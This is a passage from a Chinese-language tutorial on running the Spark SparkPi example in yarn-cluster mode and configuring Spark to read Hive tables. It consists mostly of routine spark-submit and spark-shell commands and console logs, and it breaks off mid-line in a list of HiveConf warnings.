Successfully stopped SparkContext 20/03/30 22:46:01 INFO util.ShutdownHookManager: Shutdown hook called 20/03/30 22:46:01 INFO util.ShutdownHookManager: Deleting directory /tmp/spark-e019897d-3160-4bb1-ab59-f391e32ec47a 20/03/30 22:46:01 INFO util.ShutdownHookManager: Deleting directory /tmp/spark-9e0481a2-756b-436f-bc74-dd42fb5ea839可以看到输出:Pi is roughly 3.137355686778434已经打印出了圆周率。上面只是使用了单机本地模式调用Demo,使用集群模式运行Demo,请继续看。六、用yarn-cluster模式执行计算程序进入到Spark的安装目录,执行命令,用yarn-cluster模式运行计算圆周率的Demo:[root@hadoop spark]# ./bin/spark-submit --class org.apache.spark.examples.SparkPi --master yarn-cluster examples/jars/spark-examples_2.11-2.4.4.jar Warning: Master yarn-cluster is deprecated since 2.0. Please use master "yarn" with specified deploy mode instead. 20/03/30 22:47:47 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 20/03/30 22:47:48 INFO client.RMProxy: Connecting to ResourceManager at /192.168.1.66:8032 20/03/30 22:47:48 INFO yarn.Client: Requesting a new application from cluster with 1 NodeManagers 20/03/30 22:47:48 INFO yarn.Client: Verifying our application has not requested more than the maximum memory capability of the cluster (8192 MB per container) 20/03/30 22:47:48 INFO yarn.Client: Will allocate AM container, with 1408 MB memory including 384 MB overhead 20/03/30 22:47:48 INFO yarn.Client: Setting up container launch context for our AM 20/03/30 22:47:48 INFO yarn.Client: Setting up the launch environment for our AM container 20/03/30 22:47:48 INFO yarn.Client: Preparing resources for our AM container 20/03/30 22:47:48 WARN yarn.Client: Neither spark.yarn.jars nor spark.yarn.archive is set, falling back to uploading libraries under SPARK_HOME. 20/03/30 22:47:51 INFO yarn.Client: Uploading resource file:/tmp/spark-d554f7cd-c7d4-4dfa-bc86-11a340925db6/__spark_libs__3389017089811757919.zip -> hdfs://192.168.1.66:9000/user/root/.sparkStaging/application_ 1585579247054_0001/__spark_libs__3389017089811757919.zip20/03/30 22:47:59 INFO yarn.Client: Uploading resource file:/hadoop/spark/examples/jars/spark-examples_2.11-2.4.4.jar -> hdfs://192.168.1.66:9000/user/root/.sparkStaging/application_1585579247054_0001/spark-exa mples_2.11-2.4.4.jar20/03/30 22:47:59 INFO yarn.Client: Uploading resource file:/tmp/spark-d554f7cd-c7d4-4dfa-bc86-11a340925db6/__spark_conf__559264393694354636.zip -> hdfs://192.168.1.66:9000/user/root/.sparkStaging/application_1 585579247054_0001/__spark_conf__.zip20/03/30 22:47:59 INFO spark.SecurityManager: Changing view acls to: root 20/03/30 22:47:59 INFO spark.SecurityManager: Changing modify acls to: root 20/03/30 22:47:59 INFO spark.SecurityManager: Changing view acls groups to: 20/03/30 22:47:59 INFO spark.SecurityManager: Changing modify acls groups to: 20/03/30 22:47:59 INFO spark.SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(root); groups with view permissions: Set(); users with modify permiss ions: Set(root); groups with modify permissions: Set()20/03/30 22:48:01 INFO yarn.Client: Submitting application application_1585579247054_0001 to ResourceManager 20/03/30 22:48:01 INFO impl.YarnClientImpl: Submitted application application_1585579247054_0001 20/03/30 22:48:02 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:02 INFO yarn.Client: client token: N/A diagnostics: N/A ApplicationMaster host: N/A ApplicationMaster RPC port: -1 queue: default start time: 1585579681188 final status: UNDEFINED tracking URL: http://hadoop:8088/proxy/application_1585579247054_0001/ user: root 20/03/30 22:48:03 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:04 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:05 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:06 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:07 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:08 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:09 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:11 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:12 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:13 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:14 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:15 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:16 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:17 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:19 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:20 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:21 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:22 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:23 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:24 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:25 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:26 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:27 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:28 INFO yarn.Client: Application report for application_1585579247054_0001 (state: ACCEPTED) 20/03/30 22:48:29 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:29 INFO yarn.Client: client token: N/A diagnostics: N/A ApplicationMaster host: hadoop ApplicationMaster RPC port: 37844 queue: default start time: 1585579681188 final status: UNDEFINED tracking URL: http://hadoop:8088/proxy/application_1585579247054_0001/ user: root 20/03/30 22:48:30 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:31 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:32 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:33 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:34 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:35 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:36 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:37 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:38 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:39 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:40 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:41 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:42 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:43 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:44 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:45 INFO yarn.Client: Application report for application_1585579247054_0001 (state: RUNNING) 20/03/30 22:48:46 INFO yarn.Client: Application report for application_1585579247054_0001 (state: FINISHED) 20/03/30 22:48:46 INFO yarn.Client: client token: N/A diagnostics: N/A ApplicationMaster host: hadoop ApplicationMaster RPC port: 37844 queue: default start time: 1585579681188 final status: SUCCEEDED tracking URL: http://hadoop:8088/proxy/application_1585579247054_0001/ user: root 20/03/30 22:48:46 INFO util.ShutdownHookManager: Shutdown hook called 20/03/30 22:48:46 INFO util.ShutdownHookManager: Deleting directory /tmp/spark-4c243c24-9489-4c8a-a1bc-a6a9780615d6 20/03/30 22:48:46 INFO util.ShutdownHookManager: Deleting directory /tmp/spark-d554f7cd-c7d4-4dfa-bc86-11a340925db6 注意,使用yarn-cluster模式计算,结果没有输出在控制台,结果写在了Hadoop集群的日志中,如何查看计算结果?注意到刚才的输出中有地址: tracking URL: http://hadoop:8088/proxy/application_1585579247054_0001/ 进去看看: 再点进logs: 查看stdout内容: 圆周率结果已经打印出来了。这里再给出几个常用命令:启动spark ./sbin/start-all.sh 启动Hadoop以**及Spark: ./starths.sh 停止命令改成stop七、配置spark读取hive表由于在hive里面操作表是通过mapreduce的方式,效率较低,本文主要描述如何通过spark读取hive表到内存进行计算。第一步,先把$HIVE_HOME/conf/hive-site.xml放入$SPARK_HOME/conf内,使得spark能够获取hive配置[root@hadoop spark]# pwd /hadoop/spark [root@hadoop spark]# cp $HIVE_HOME/conf/hive-site.xml conf/ [root@hadoop spark]# chmod 777 conf/hive-site.xml [root@hadoop spark]# cp /hadoop/hive/lib/mysql-connector-java-5.1.47.jar jars/通过spark-shell进入交互界面[root@hadoop spark]# /hadoop/spark/bin/spark-shell 20/03/31 10:31:39 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable Setting default log level to "WARN". To adjust logging level use sc.setLogLevel(newLevel). For SparkR, use setLogLevel(newLevel). 20/03/31 10:32:41 WARN util.Utils: Service 'SparkUI' could not bind on port 4040. Attempting port 4041. 20/03/31 10:32:41 WARN util.Utils: Service 'SparkUI' could not bind on port 4041. Attempting port 4042. Spark context Web UI available at http://hadoop:4042 Spark context available as 'sc' (master = local[*], app id = local-1585621962060). Spark session available as 'spark'. Welcome to ____ __ / __/__ ___ _____/ /__ _\ \/ _ \/ _ `/ __/ '_/ /___/ .__/\_,_/_/ /_/\_\ version 2.4.4 /_/ Using Scala version 2.11.12 (Java HotSpot(TM) 64-Bit Server VM, Java 1.8.0_151) Type in expressions to have them evaluated. Type :help for more information. scala> import org.apache.spark.sql.hive.HiveContext import org.apache.spark.sql.hive.HiveContext scala> import org.apache.spark.sql.functions._ import org.apache.spark.sql.functions._ scala> val hiveContext = new HiveContext(sc) warning: there was one deprecation warning; re-run with -deprecation for details hiveContext: org.apache.spark.sql.hive.HiveContext = org.apache.spark.sql.hive.HiveContext@62966c9f scala> hiveContext.sql("show databases").show() 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.client.capability.check does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggregate.stats.false.positive.probability does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.broker.address.default does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.orc.time.counters does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.task.scale.memory.reserve-fraction.min does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.splits.ms.footer.cache.ppd.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.event.message.factory does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.metrics.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.hs2.user.access does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.storage.storageDirectory does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.am.liveness.connection.timeout.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.dynamic.semijoin.reduction.threshold does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.client.connect.retry.limit does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.xmx.headroom does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.dynamic.semijoin.reduction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.direct does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.enforce.stats does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.client.consistent.splits does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.tez.session.lifetime does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.timedout.txn.reaper.start does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.cache.ttl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.management.acl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.delegation.token.lifetime does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.authentication.ldap.guidKey does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.ats.hook.queue.capacity does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.strict.checks.large.query does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.bigtable.minsize.semijoin.reduction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.alloc.min does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.client.user does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.alloc.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.wait.queue.comparator.class.name does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.output.service.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.cache.use.soft.references does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.encode.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.task.scale.memory.reserve.fraction.max does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.communicator.listener.thread-count does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.container.max.java.heap.fraction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.stats.column.autogather does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.am.liveness.heartbeat.interval.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.decoding.metrics.percentiles.intervals does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.groupby.position.alias does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.txn.store.impl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.use.groupby.shuffle does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.object.cache.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.parallel.ops.in.session does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.groupby.limit.extrastep does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.use.ssl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.file.location does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.client.retry.delay.seconds does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.materializedview.fileformat does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.num.file.cleaner.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.test.fail.compaction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.blobstore.use.blobstore.as.scratchdir does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.class does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.mmap.path does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.download.permanent.fns does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.max.historic.queries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.vectorized.execution.reducesink.new.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.max.num.delta does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.history.retention.attempted does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.initiator.failed.compacts.threshold does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.reporter does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.output.service.max.pending.writes does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.execution.mode does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.enable.grace.join.in.llap does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.limittranspose does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.memory.mode does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.threadpool.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.select.threshold does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.scratchdir.lock does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.use.spnego does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.file.frequency does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.hs2.coordinator.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.timeout.seconds does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.filter.stats.reduction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.exec.orc.base.delta.ratio does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.fastpath does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.clear.dangling.scratchdir does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.test.fail.heartbeater does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.file.cleanup.delay.seconds does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.management.rpc.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.mapjoin.hybridgrace.bloomfilter does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.enforce.tree does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.stats.ndv.tuner does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.direct.sql.max.query.length does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.compactor.history.retention.failed does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.close.session.on.disconnect does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.ppd.windowing does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.initial.metadata.count.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.host does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.splits.ms.footer.cache.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.point.lookup.min does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.file.metadata.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.service.refresh.interval.sec does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.max.output.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.driver.parallel.compilation does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.remote.token.requires.signing does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.bucket.pruning does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.cache.allow.synthetic.fileid does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.hash.table.inflation.factor does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggr.stats.hbase.ttl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.enforce.vectorized does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.writeset.reaper.interval does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.vectorized.use.vector.serde.deserialize does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.order.columnalignment does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.output.service.send.buffer.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.exec.schema.evolution does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.direct.sql.max.elements.values.clause does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.llap.concurrent.queries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.allow.uber does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.indexer.partition.size.max does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.auto.auth does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.splits.include.fileid does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.communicator.num.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orderby.position.alias does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.communicator.connection.sleep.between.retries.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggregate.stats.max.partitions does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.hadoop2.component does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.yarn.shuffle.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.direct.sql.max.elements.in.clause does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.passiveWaitTimeMs does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.load.dynamic.partitions.thread does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.druid.indexer.segments.granularity does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.http.response.header.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.conf.internal.variable.list does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.limittranspose.reductionpercentage does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.repl.cm.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.client.retry.limit does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.thrift.resultset.serialize.in.tasks does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.query.timeout.seconds does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.service.metrics.hadoop2.frequency does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.orc.splits.directory.batch.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.cache.max.reader.wait does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.scheduler.node.reenable.max.timeout.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.max.open.txns does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.auto.convert.sortmerge.join.reduce.side does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.zookeeper.publish.configs does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.auto.convert.join.hashtable.max.entries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.tez.sessions.init.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.authorization.storage.check.externaltable.drop does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.execution.mode does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.cbo.cnf.maxnodes does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.vectorized.adaptor.usage.mode does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.materializedview.rewriting does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.authentication.ldap.groupMembershipKey does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.catalog.cache.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.cbo.show.warnings does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.fshandler.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.max.bloom.filter.entries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.metadata.fraction does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.materializedview.serde does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.task.scheduler.wait.queue.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggr.stats.cache.entries does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.txn.operational.properties does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggr.stats.memory.ttl does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.rpc.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.nonvector.wrapper.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.aggregate.stats.cache.size does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.vectorized.use.vectorized.input.format does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.cte.materialize.threshold does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.hbase.cache.clean.until does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.optimize.semijoin.conversion does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.port does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.dynamic.partition.pruning does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.metrics.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.repl.rootdir does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.limit.partition.request does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.async.log.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.logger does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.allow.udf.load.on.demand does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.cli.tez.session.async does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.bloom.filter.factor does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.am-reporter.max.threads does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.spark.use.file.size.for.mapjoin does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.strict.checks.bucketing does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.tez.bucket.pruning.compat does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.server2.webui.spnego.principal does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.task.preemption.metrics.intervals does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.daemon.shuffle.dir.watcher.enabled does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.io.allocator.arena.count does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.metastore.use.SSL does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.llap.task.communicator.connection.timeout.ms does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name hive.transpose.aggr.join does not exist 20/03/31 10:33:53 WARN conf.HiveConf: HiveConf of name 